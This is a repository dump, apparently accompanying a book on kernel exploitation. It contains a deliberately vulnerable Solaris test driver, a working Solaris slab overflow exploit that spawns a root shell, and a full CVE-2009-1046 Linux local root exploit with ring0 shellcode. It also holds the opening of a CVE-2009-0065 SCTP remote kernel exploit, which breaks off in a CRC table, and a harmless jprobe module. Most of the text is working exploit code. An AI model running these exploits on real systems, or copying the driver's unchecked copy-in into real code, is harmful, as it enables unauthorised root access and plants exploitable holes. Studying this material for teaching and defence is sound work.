req.size, 0); 197 | 198 | return (0); 199 | } 200 | 201 | static void alloc_heap_buf (intptr_t arg) 202 | { 203 | char *buf; 204 | struct test_request req; 205 | 206 | ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); 207 | buf = kmem_alloc(req.size, KM_SLEEP); 208 | req.addr = (unsigned long)buf; 209 | ddi_copyout(&req, (void *)arg, sizeof(struct test_request), 0); 210 | } 211 | 212 | static void free_heap_buf (intptr_t arg) 213 | { 214 | char *buf; 215 | struct test_request req; 216 | 217 | ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); 218 | buf = (char *)req.addr; 219 | kmem_free(buf, req.size); 220 | } 221 | 222 | 223 | static void handle_heap_ovf (intptr_t arg) 224 | { 225 | char *buf; 226 | struct test_request req; 227 | 228 | ddi_copyin((void *)arg, &req, sizeof(struct test_request), 0); 229 | buf = kmem_alloc(64, KM_SLEEP); 230 | cmn_err(CE_CONT, "performing heap ovf at %p\n", buf); 231 | ddi_copyin((void *)req.addr, buf, req.size, 0); 232 | } 233 | 234 | static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode, 235 | cred_t *cred_p, int *rval_p ) 236 | { 237 | switch (cmd) { 238 | case TEST_STACKOVF: 239 | cmn_err(CE_CONT,"ioctl: requested STACKOVF test\n"); 240 | handle_stack(arg); 241 | break; 242 | case TEST_ALLOC_SLAB_BUF: 243 | alloc_heap_buf(arg); 244 | break; 245 | case TEST_FREE_SLAB_BUF: 246 | free_heap_buf(arg); 247 | break; 248 | case TEST_SLABOVF: 249 | cmn_err(CE_CONT, "ioctl: requested HEAPOVF test\n"); 250 | handle_heap_ovf(arg); 251 | break; 252 | case TEST_NULLDRF: 253 | break; 254 | default: 255 | return (DDI_FAILURE); 256 | } 257 | 258 | return DDI_SUCCESS; 259 | } 260 | -------------------------------------------------------------------------------- /chapter4/sol/hexpl.c: -------------------------------------------------------------------------------- 1 | /* 2 | * hexpl.c - Solaris kernel heap overflow exploit 3 | * 4 | * This exploit targets the vulnerable dummy driver, presenting a real word 5 | * vector to exploit a traditional heap (SLAB) overflow. 6 | * 7 | * Compile with: 8 | * cc -o h hexpl.c -lsched -m64 -lkstat 9 | * "hexpl.c", line 232: warning: statement not reached 10 | * (yeah, that's just being lazy...) 11 | * 12 | * ...and run: 13 | * 14 | * luser@opensolaris:/tmp$ ./h 15 | * [+] Getting process 1718 kernel address 16 | * [+] proc_t at ffffff00eee49078 17 | * [+] raise_cred at 401680 18 | * [+] 72 free buffers in 491 slabs 19 | * [+] Exhausting the slab cache... 20 | * [+] Force a t_ctx allocation 21 | * [+] Triggering the overflow over t_ctx 22 | * [+] Entering interactive session... 23 | * luser@opensolaris:/tmp# id 24 | * uid=0(root) gid=0(root) groups=0(root),10(staff) 25 | */ 26 | 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #include "dummymod.h" 44 | 45 | #define DUMMY_FILE "/devices/pseudo/dummy@0:0" 46 | 47 | /* Synchronization variables */ 48 | static int do_ctx_alloc, do_ovf, trigger_it; 49 | unsigned long my_address; 50 | int cred_raised = 0; 51 | 52 | #define PSINFO_PATH "/proc/self/psinfo" 53 | 54 | typedef struct psinfo { 55 | int pr_flag; /* process flags (DEPRECATED; do not use) */ 56 | int pr_nlwp; /* number of active lwps in the process */ 57 | pid_t pr_pid; /* unique process id */ 58 | pid_t pr_ppid; /* process id of parent */ 59 | pid_t pr_pgid; /* pid of process group leader */ 60 | pid_t pr_sid; /* session id */ 61 | uid_t pr_uid; /* real user id */ 62 | uid_t pr_euid; /* effective user id */ 63 | gid_t pr_gid; /* real group id */ 64 | gid_t pr_egid; /* effective group id */ 65 | uintptr_t pr_addr; /* address of process */ 66 | size_t pr_size; /* size of process image in Kbytes */ 67 | size_t pr_rssize; /* resident set size in Kbytes */ 68 | } psinfo_t; 69 | 70 | typedef struct cred { 71 | uint_t cr_ref; /* reference count */ 72 | uid_t cr_uid; /* effective user id */ 73 | gid_t cr_gid; /* effective group id */ 74 | uid_t cr_ruid; /* real user id */ 75 | gid_t cr_rgid; /* real group id */ 76 | uid_t cr_suid; /* "saved" user id (from exec) */ 77 | gid_t cr_sgid; /* "saved" group id (from exec) */ 78 | } kcred_t; 79 | 80 | 81 | /* Retrieve the kernel address of the current process. */ 82 | unsigned long get_curr_kaddr() 83 | { 84 | psinfo_t info; 85 | int fd; 86 | 87 | fd = open(PSINFO_PATH, O_RDONLY); 88 | if ( fd == -1) { 89 | perror("[-] Failed opening psinfo path"); 90 | return (0); 91 | } 92 | 93 | read(fd, (char *)&info, sizeof (info)); 94 | close(fd); 95 | return info.pr_addr; 96 | } 97 | 98 | /* heap exported kstats are all 64-bit unsigned integers. */ 99 | uint64_t get_ui64_val(kstat_t *kt, char *name) 100 | { 101 | kstat_named_t *entry; 102 | 103 | entry = kstat_data_lookup(kt, name); 104 | if (entry == NULL) 105 | return (-1); 106 | 107 | return (entry->value.ui64); 108 | } 109 | 110 | /* Simple kernel shellcode to raise current process credentials. */ 111 | int raise_cred () 112 | { 113 | proc_t *p = (proc_t *)my_address; 114 | kcred_t *cred = p->p_cred; 115 | kthread_t *k = p->p_tlist; 116 | 117 | if (cred_raised) 118 | return 0; 119 | 120 | cred->cr_uid = cred->cr_ruid = cred->cr_suid = 0; 121 | cred->cr_gid = cred->cr_rgid = cred->cr_sgid = 0; 122 | /* cleanup t_ctx */ 123 | k->t_ctx = 0; 124 | cred_raised = 1; 125 | 126 | return 0; 127 | } 128 | 129 | /* Run a shell... */ 130 | void spawn_shell() 131 | { 132 | setuid(0); 133 | setgid(0); 134 | seteuid(0); 135 | 136 | execl("/bin/bash", "bash", NULL); 137 | } 138 | 139 | 140 | /* 141 | * A bunch of MAGIC numbers here and there... but should give the idea. 142 | */ 143 | int main(int argc, char **argv) 144 | { 145 | int fd; 146 | int ret; 147 | int i = 0, rounds = 5; 148 | struct test_request req; 149 | unsigned long *pbuf, retaddr, p_addr; 150 | kstat_ctl_t *kh; 151 | kstat_t *slab_info; 152 | uint64_t start_avail_buf = 0, curr_avail_buf = 0; 153 | uint64_t buf_constructed = 0; 154 | uint64_t start_create_slabs = 0, curr_create_slabs = 0; 155 | char buf[200]; 156 | 157 | fprintf(stdout, "[+] Getting process %d kernel address\n", getpid()); 158 | my_address = get_curr_kaddr(); 159 | if (my_address == 0) 160 | exit(EXIT_FAILURE); 161 | 162 | fprintf(stdout, "[+] proc_t at %p\n", my_address); 163 | fprintf(stdout, "[+] raise_cred at %p\n", raise_cred); 164 | 165 | /* Open the libkstat handle. */ 166 | kh = kstat_open(); 167 | if (kh == NULL) { 168 | fprintf(stderr, "Unable to open /dev/kstat handle...\n"); 169 | exit(EXIT_FAILURE); 170 | } 171 | 172 | /* Lookup the values to monitor during the attack. */ 173 | slab_info = kstat_lookup(kh, "unix", 0, "kmem_alloc_64"); 174 | if (slab_info == NULL) { 175 | fprintf(stderr, "Unable to find slab kstats...\n"); 176 | exit(EXIT_FAILURE); 177 | } 178 | kstat_read(kh, slab_info, NULL); 179 | 180 | /* 181 | * Lookup the number of available buffers and the number of allocated 182 | * slabs. 183 | */ 184 | start_avail_buf = get_ui64_val(slab_info, "buf_avail"); 185 | start_create_slabs = get_ui64_val(slab_info, "slab_create"); 186 | buf_constructed = get_ui64_val(slab_info, "buf_constructed"); 187 | 188 | printf("[+] %d free buffers in %d slabs\n", start_avail_buf, 189 | start_create_slabs); 190 | 191 | /* You know, just to add that little suspense...*/ 192 | sleep(2); 193 | 194 | fd = open(DUMMY_FILE, O_RDONLY); 195 | if (fd == -1) { 196 | perror("[-] Open of device file failed"); 197 | exit(EXIT_FAILURE); 198 | } 199 | 200 | i = 0; 201 | kstat_read(kh, slab_info, NULL); 202 | curr_create_slabs = get_ui64_val(slab_info, "slab_create"); 203 | printf("[+] Exhausting the slab cache...\n"); 204 | while (curr_create_slabs <= start_create_slabs + rounds) { 205 | bzero(&req, sizeof(struct test_request)); 206 | req.size = 64; 207 | ret = ioctl(fd, TEST_ALLOC_SLAB_BUF, &req); 208 | kstat_read(kh, slab_info, NULL); 209 | curr_create_slabs = get_ui64_val(slab_info, "slab_create"); 210 | } 211 | 212 | /* Do five allocations, as a test (strictly not necessary...) */ 213 | for (i = 0; i < 5; i++) { 214 | bzero(&req, sizeof(struct test_request)); 215 | req.size = 64; 216 | ret = ioctl(fd, TEST_ALLOC_SLAB_BUF, &req); 217 | } 218 | 219 | /* Free and re-alloc the same buffer. */ 220 | ioctl(fd, TEST_FREE_SLAB_BUF, &req); 221 | bzero(&req, sizeof(struct test_request)); 222 | req.size = 128; 223 | 224 | fprintf(stdout, "[+] Force a t_ctx allocation\n"); 225 | schedctl_init(); 226 | fflush(stdout); 227 | 228 | memset(buf, 'A', sizeof(buf) -1); 229 | pbuf = (unsigned long *)(buf + 64); 230 | *pbuf++ = (unsigned long)raise_cred; 231 | *pbuf++ = (unsigned long)raise_cred; 232 | 233 | fprintf(stdout, "[+] Triggering the overflow over t_ctx\n"); 234 | req.size = 80; 235 | req.addr = (uintptr_t)buf; 236 | ret = ioctl(fd, TEST_SLABOVF, &req); 237 | 238 | while (1) { 239 | if (cred_raised == 1) { 240 | fprintf(stdout, "[+] Entering interactive session...\n"); 241 | /* jackpot. */ 242 | spawn_shell(); 243 | } 244 | } 245 | 246 | /* 247 | * NOTREACHED -- a cleaner exploit may try for a certain amount of 248 | * time and then exit down here. 249 | */ 250 | close(fd); 251 | kstat_close(kh); 252 | exit(EXIT_SUCCESS); 253 | } 254 | -------------------------------------------------------------------------------- /chapter4/linux/kp-setuid.tar: -------------------------------------------------------------------------------- 1 | kp-setuid.c0000644000076500000240000000140511453070730012271 0ustar enricostaff#include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | static struct jprobe setuid_jprobe; 8 | 9 | static asmlinkage int 10 | kp_setuid(uid_t uid) 11 | { 12 | printk("process %s [%d] attempted setuid to %d\n", current->comm, 13 | current->cred->uid, uid); 14 | jprobe_return(); 15 | /*NOTREACHED*/ 16 | return (0); 17 | } 18 | 19 | int 20 | init_module(void) 21 | { 22 | int ret; 23 | 24 | setuid_jprobe.entry = (kprobe_opcode_t *)kp_setuid; 25 | setuid_jprobe.kp.symbol_name = "sys_setuid"; 26 | 27 | if ((ret = register_jprobe(&setuid_jprobe)) <0) { 28 | printk("register_jprobe failed, returned %d\n", ret); 29 | return (-1); 30 | } 31 | 32 | return (0); 33 | } 34 | 35 | void cleanup_module(void) 36 | { 37 | unregister_jprobe(&setuid_jprobe); 38 | printk("jprobe unregistered\n"); 39 | } 40 | 41 | MODULE_LICENSE("GPL"); 42 | 43 | Makefile0000644000076500000240000000025311453070734011664 0ustar enricostaffobj-m := kp-setuid.o 44 | KDIR := /lib/modules/$(shell uname -r)/build 45 | PWD := $(shell pwd) 46 | default: 47 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 48 | clean: 49 | rm -f *.mod.c *.ko *.o 50 | 51 | -------------------------------------------------------------------------------- /chapter4/linux/exploits/exp_tiocl_houdini.c: -------------------------------------------------------------------------------- 1 | /* CVE-2009-1046 Virtual Console UTF-8 set_selection() off-by-one(two) Memory Corruption 2 | * Linux Kernel <= 2.6.28.3 3 | * 4 | * coded by: sgrakkyu antifork.org 5 | * http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html 6 | * 7 | * Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow 8 | * 9 | * NOTE-1: you need a virtual console attached to the standard output (stdout) 10 | * - physical login 11 | * - ptrace() against some process with the same uid already attached to a VC 12 | * - remote management .. 13 | * 14 | * NOTE-2: UTF-8 character used is: U+253C - it seems to be supported in most standard console fonts 15 | * but if it's _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines) 16 | * If you use an unsupported character expect some sort of recursive fatal ooops:) 17 | * 18 | * Designed to be built as x86-64 binary only (SLUB ONLY) 19 | * SCTP stack has to be available 20 | * 21 | * Tested on target: 22 | * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server) 23 | * Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server) 24 | * Fedora Core 10 x86_64 (default installed kernel - without selinux) 25 | * 26 | */ 27 | 28 | 29 | #define _GNU_SOURCE 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include "kernel_header.h" 50 | 51 | #ifndef __x86_64__ 52 | #error "Architecture Unsupported" 53 | #error "This code was written for x86-64 target and has to be built as x86-64 binary" 54 | #else 55 | 56 | #ifndef __u8 57 | #define __u8 uint8_t 58 | #endif 59 | #ifndef __u16 60 | #define __u16 uint16_t 61 | #endif 62 | #ifndef __u32 63 | #define __u32 uint32_t 64 | #endif 65 | #ifndef __u64 66 | #define __u64 uint64_t 67 | #endif 68 | 69 | 70 | #define STREAM_ZERO 10 71 | #define STREAM_ZERO_ALT 12 72 | 73 | #define SCTP_STREAM 22 74 | #define USER_STACK_SIZE 0x1000 75 | #define PAGE_SIZE 0x1000 76 | #define STRUCT_PAGE 0x0000000000000000 77 | #define STRUCT_PAGE_ALT 0x0000000100000000 78 | #define CODE_PAGE 0x0000000000010000 79 | #define LOCALHOST "127.0.0.1" 80 | #define KMALLOC "kmalloc-128" 81 | #define TIMER_LIST_FOPS "timer_list_fops" 82 | 83 | 84 | #define CJUMP_OFF 13 85 | char ring0[]= 86 | "\x57" // push %rdi 87 | "\x50" // push %rax 88 | "\x65\x48\x8b\x3c\x25\x00\x00\x00\x00" // mov %gs:0x0,%rdi 89 | "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41" // mov xxx, %rax 90 | "\xff\xd0" // callq *%rax 91 | "\x58" // pop %rax 92 | "\x5f" // pop %rdi 93 | "\xc3"; // retq 94 | 95 | 96 | /* conn struct */ 97 | static __u16 srvport; 98 | struct sockaddr_in server_s; 99 | static struct sockaddr_in caddr; 100 | 101 | /* some fds.. */ 102 | static int g_array[10]; 103 | static int fd_zmap_srv=-1; 104 | static int kmalloc_fd=-1; 105 | static int unsafe_fd[4] = {-1,-1,-1,-1}; 106 | 107 | /* misc */ 108 | static int dorec = 0, cankill=1, highpage=0; 109 | static char cstack[USER_STACK_SIZE*2]; 110 | static __u16 zstream=STREAM_ZERO; 111 | static __u64 fops; 112 | static pid_t child=0; 113 | static char symbuf[20000]; 114 | 115 | static void __free_stuff() 116 | { 117 | int i; 118 | for(i=3; i<2048; i++) 119 | { 120 | if((unsafe_fd[0] == i || unsafe_fd[1] == i || 121 | unsafe_fd[2] == i || unsafe_fd[3] == i)) 122 | continue; 123 | 124 | close(i); 125 | } 126 | } 127 | 128 | static void bindcpu() 129 | { 130 | cpu_set_t set; 131 | CPU_ZERO(&set); 132 | CPU_SET(0, &set); 133 | 134 | if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0) 135 | __fatal_errno("setaffinity"); 136 | } 137 | 138 | /* parse functions are not bof-free:) */ 139 | static __u64 get_fops_addr() 140 | { 141 | FILE* stream; 142 | char fbuf[512]; 143 | char addr[64]; 144 | 145 | stream = fopen("/proc/kallsyms", "r"); 146 | if(!stream) 147 | __fatal_errno("open: kallsyms"); 148 | 149 | memset(fbuf, 0x00, sizeof(fbuf)); 150 | while(fgets(fbuf, sizeof(fbuf), stream) > 0) 151 | { 152 | char *p = fbuf; 153 | char *a = addr; 154 | memset(addr, 0x00, sizeof(addr)); 155 | fbuf[strlen(fbuf)-1] = 0; 156 | while(*p != ' ') 157 | *a++ = *p++; 158 | p += 3; 159 | if(!strcmp(p, TIMER_LIST_FOPS)) 160 | return strtoul(addr, NULL, 16); 161 | } 162 | 163 | return 0; 164 | } 165 | 166 | static int get_total_object(int fd) 167 | { 168 | char name[32]; 169 | char used[32]; 170 | char total[32]; 171 | char *ptr[] = {name, used, total}; 172 | int ret,i,toread=sizeof(symbuf)-1; 173 | char *p = symbuf; 174 | 175 | lseek(fd, 0, SEEK_SET); 176 | memset(symbuf, 0x00, sizeof(symbuf)); 177 | while( (ret = read(fd, p, toread)) > 0) 178 | { 179 | p += ret; 180 | toread -= ret; 181 | } 182 | 183 | p = symbuf; 184 | do 185 | { 186 | for(i=0; i= 0) 294 | { 295 | if(dorec != 0 && c >= dorec && idx < 10) 296 | { 297 | g_array[idx] = ret; 298 | if(idx==9) 299 | { 300 | fd_zmap_srv = ret; 301 | caddr = tmp; 302 | break; 303 | } 304 | idx++; 305 | } 306 | c++; 307 | write_sctp(ret, &tmp, zstream); 308 | } 309 | 310 | sleep(1); 311 | return 0; 312 | } 313 | 314 | 315 | static int do_mmap(unsigned long base, int npages) 316 | { 317 | void*addr = mmap((void*)base, PAGE_SIZE*npages, 318 | PROT_READ|PROT_WRITE|PROT_EXEC, 319 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); 320 | 321 | if(MAP_FAILED == addr) 322 | return -1; 323 | 324 | memset(addr, 0x00, PAGE_SIZE*npages); 325 | 326 | return 0; 327 | } 328 | 329 | pid_t start_listener() 330 | { 331 | pid_t pid; 332 | pid = clone(clone_thread, cstack+USER_STACK_SIZE-8, 333 | CLONE_VM|CLONE_FILES|SIGCHLD, NULL); 334 | 335 | return pid; 336 | } 337 | 338 | static void do_socks(struct sockaddr_in *s, __u16 stream) 339 | { 340 | int i,fd; 341 | int n_objs = get_total_object(kmalloc_fd), tmp_n_objs; 342 | int next=8; 343 | 344 | for(i=0; next != 0; i++) 345 | { 346 | fd = create_and_init(); 347 | 348 | tmp_n_objs = get_total_object(kmalloc_fd); 349 | if(!dorec && tmp_n_objs != n_objs) 350 | dorec=i; 351 | 352 | conn_and_write(fd, s, stream); 353 | if(dorec) 354 | next--; 355 | } 356 | } 357 | 358 | 359 | static void clr(int fd) 360 | { 361 | /* use termcap instead..*/ 362 | write(fd, "\33[H\33[J", 6); 363 | } 364 | 365 | static char tiobuffer[2048]; 366 | void alloc_tioclinux() 367 | { 368 | int i; 369 | char out[128*3]; 370 | /* Unicode Character 'BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL' (U+253C) */ 371 | char utf8[3] = { 0xE2, 0x94, 0xBC }; 372 | struct tiocl_selection *sel; 373 | char *t; 374 | void *v = malloc(sizeof(struct tiocl_selection) + 1); 375 | t = (char*)v; 376 | sel = (struct tiocl_selection *)(t+1); 377 | memset(out, 0x41, sizeof(out)); 378 | for(i=0; i<128; i++) 379 | { 380 | tiobuffer[(i*3)]=utf8[0]; 381 | tiobuffer[(i*3)+1]=utf8[1]; 382 | tiobuffer[(i*3)+2]=utf8[2]; 383 | } 384 | 385 | *t = TIOCL_SETSEL; 386 | sel->xs = 1; 387 | sel->ys = 1; 388 | sel->xe = 43; 389 | //sel->xe = 42; /* no overflow */ 390 | sel->ye = 1; 391 | 392 | write(1, tiobuffer, sizeof(tiobuffer)); 393 | if(ioctl(1, TIOCLINUX, v) < 0) 394 | __fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n"); 395 | } 396 | 397 | 398 | 399 | static void migrate_evil_fd() 400 | { 401 | int i; 402 | pid_t child; 403 | 404 | __msg("[**] Migrate evil unsafe fds to child process..\n"); 405 | child = fork(); 406 | if(!child) 407 | { 408 | 409 | /* preserve evil fds */ 410 | setsid(); 411 | if(!cankill) /* cant die .. */ 412 | while(1) 413 | sleep(1); 414 | else 415 | { 416 | sleep(10); /* wait execve() before */ 417 | for(i=0; i<4; i++) 418 | close(unsafe_fd[i]); 419 | 420 | exit(1); 421 | } 422 | } 423 | else 424 | { 425 | if(!cankill) 426 | __msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child); 427 | } 428 | } 429 | 430 | 431 | static void trigger_fault() 432 | { 433 | char *argv[]={"/bin/sh", NULL}; 434 | int fd,i; 435 | 436 | fd = open("/proc/timer_list", O_RDONLY); 437 | if(fd >= 0) 438 | { 439 | ioctl(fd, 0, 0); 440 | __free_stuff(); 441 | migrate_evil_fd(); 442 | 443 | for(i=0; i<4; i++) 444 | close(unsafe_fd[i]); 445 | 446 | if(!getuid()) 447 | { 448 | __msg("[**] Got root!\n"); 449 | execve("/bin/sh", argv, NULL); 450 | } 451 | } 452 | else 453 | { 454 | __msg("[**] Cannot open /proc/timer_list"); 455 | __free_stuff(); 456 | } 457 | } 458 | 459 | 460 | 461 | static void overwrite_fops( int sender, 462 | struct sockaddr_in *to_receiver, 463 | int receiver) 464 | { 465 | char *p = NULL; 466 | if(!highpage) 467 | p++; 468 | else 469 | p = (void*)STRUCT_PAGE_ALT; 470 | 471 | __u64 *uip = (__u64*)p; 472 | *uip = fops; 473 | write_sctp(sender, to_receiver, 1); 474 | sleep(1); 475 | trigger_fault(); 476 | } 477 | 478 | static __u16 get_port() 479 | { 480 | __u16 r = (__u16)getpid(); 481 | if(r <= 0x400) 482 | r+=0x400; 483 | return r; 484 | } 485 | 486 | int main(int argc, char *argv[]) 487 | { 488 | int peerx, peery,i; 489 | __u64 *patch; 490 | 491 | srvport = get_port(); 492 | 493 | /* kernel framework */ 494 | user_mode_set_env(); 495 | 496 | fops=get_fops_addr(); 497 | if(!fops) 498 | { 499 | __msg("[!!] Unable to locate symbols...\n"); 500 | return 1; 501 | } 502 | 503 | /* get the right fops entry */ 504 | fops += 64; 505 | 506 | 507 | __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", kernel_rise_privileges); 508 | patch = (__u64*)(ring0 + CJUMP_OFF); 509 | *patch = (__u64)kernel_rise_privileges; 510 | 511 | __msg_f("[**] Using port: %d\n", srvport); 512 | __msg("[**] Getting slab info...\n"); 513 | kmalloc_fd = get_kmalloc_fd(); 514 | if(!get_total_object(kmalloc_fd)) 515 | __fatal("[!!] Only SLUB allocator supported\n"); 516 | 517 | 518 | __msg("[**] Mapping Segments...\n"); 519 | __msg("[**] Trying mapping safe page..."); 520 | if(do_mmap(STRUCT_PAGE, 1) < 0) 521 | { 522 | __msg("Page Protection Present (Unable to Map Safe Page)\n"); 523 | __msg("[**] Mapping High Address Page (dont kill placeholder child)\n"); 524 | if(do_mmap(STRUCT_PAGE_ALT, 1) < 0) 525 | __fatal_errno("mmap"); 526 | 527 | cankill=0; /* dont kill child owning unsafe fds.. */ 528 | highpage=1; /* ssnmap in higher pages */ 529 | zstream=STREAM_ZERO_ALT; 530 | } 531 | else 532 | __msg("Done\n"); 533 | 534 | __msg("[**] Mapping Code Page... "); 535 | if(do_mmap(CODE_PAGE, 1) < 0) 536 | __fatal_errno("mmap"); 537 | else 538 | __msg("Done\n"); 539 | 540 | memcpy((void*)CODE_PAGE, ring0, sizeof(ring0)); 541 | 542 | __msg("[**] Binding on CPU 0\n"); 543 | bindcpu(); 544 | 545 | __msg("[**] Start Server Thread..\n"); 546 | child = start_listener(); 547 | sleep(3); 548 | 549 | do_socks(&server_s, zstream); 550 | for(i=0; i<7; i++) 551 | { 552 | close(g_array[8-1-i]); 553 | } 554 | clr(1); 555 | alloc_tioclinux(); // trigger overflow 556 | peerx = create_and_init(); 557 | connect_peer(peerx, &server_s); 558 | peery = create_and_init(); 559 | connect_peer(peery, &server_s); 560 | 561 | sleep(1); 562 | 563 | unsafe_fd[0] = peerx; 564 | unsafe_fd[1] = g_array[8]; 565 | unsafe_fd[2] = peery; 566 | unsafe_fd[3] = g_array[9]; 567 | 568 | __msg("\n"); 569 | __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv); 570 | __msg_f("[**] Unsafe fd: ( "); 571 | 572 | for(i=0; i<4; i++) 573 | __msg_f("%d ", unsafe_fd[i]); 574 | __msg(")\n"); 575 | 576 | 577 | __msg("[**] Hijacking fops...\n"); 578 | overwrite_fops(fd_zmap_srv, &caddr, peery); 579 | 580 | /* if you get here.. something nasty happens...the box might crash..*/ 581 | 582 | __free_stuff(); 583 | __msg("[**] Exploit failed.. freezing process\n"); 584 | kill(getpid(), SIGSTOP); 585 | return 0; 586 | } 587 | 588 | #endif 589 | -------------------------------------------------------------------------------- /chapter8/linux/sctp_houdini.c: -------------------------------------------------------------------------------- 1 | /* CVE-2009-0065 SCTP FWD Chunk Memory Corruption 2 | * Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit 3 | * 4 | * coded by: sgrakkyu antifork.org 5 | * http://kernelbof.blogspot.com 6 | * 7 | * 8 | * NOTE: you need at least one sctp application bound on the target box 9 | * 10 | * Supported target: 11 | * Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server) 12 | * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server) 13 | * Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server) 14 | * Fedora Core 10 x86_64 (default installed kernel) 15 | * OpenSuse 11.1 x86_64 (default installed kernel) 16 | */ 17 | 18 | 19 | 20 | 21 | #define _GNU_SOURCE 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #define __OFFSET_PORT_64 62 // 92 40 | #define __OFFSET_HOST_64 64 // 94 41 | 42 | //#define __TARGET_SPORT 20000 43 | 44 | 45 | #ifndef __u8 46 | #define __u8 uint8_t 47 | #endif 48 | 49 | #ifndef __u16 50 | #define __u16 uint16_t 51 | #endif 52 | 53 | #ifndef __u32 54 | #define __u32 uint32_t 55 | #endif 56 | 57 | 58 | 59 | /* start crc routines: ripped from wireshark sources */ 60 | #define SP_LEN 2 61 | #define DP_LEN 2 62 | #define VTAG_LEN 4 63 | #define CHK_LEN 4 64 | #define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN) 65 | 66 | 67 | #define CRC32C(c,d) (c=(c>>8)^crc_c[(c^(d))&0xFF]) 68 | static int32_t crc_c[256] = 69 | { 70 | 0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L, 71 | 0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL, 72 | 0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL, 73 | 0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L, 74 | 0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL, 75 | 0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L, 76 | 0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L, 77 | 0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL, 78 | 0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL, 79 | 0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L, 80 | 0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L, 81 | 0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL, 82 | 0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L, 83 | 0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL, 84 | 0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL, 85 | 0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L, 86 | 0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L, 87 | 0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L, 88 | 0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L, 89 | 0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L, 90 | 0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L, 91 | 0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L, 92 | 0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L, 93 | 0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L, 94 | 0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L, 95 | 0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L, 96 | 0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L, 97 | 0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L, 98 | 0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L, 99 | 0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L, 100 | 0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L, 101 | 0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L, 102 | 0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL, 103 | 0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L, 104 | 0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L, 105 | 0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL, 106 | 0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L, 107 | 0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL, 108 | 0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL, 109 | 0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L, 110 | 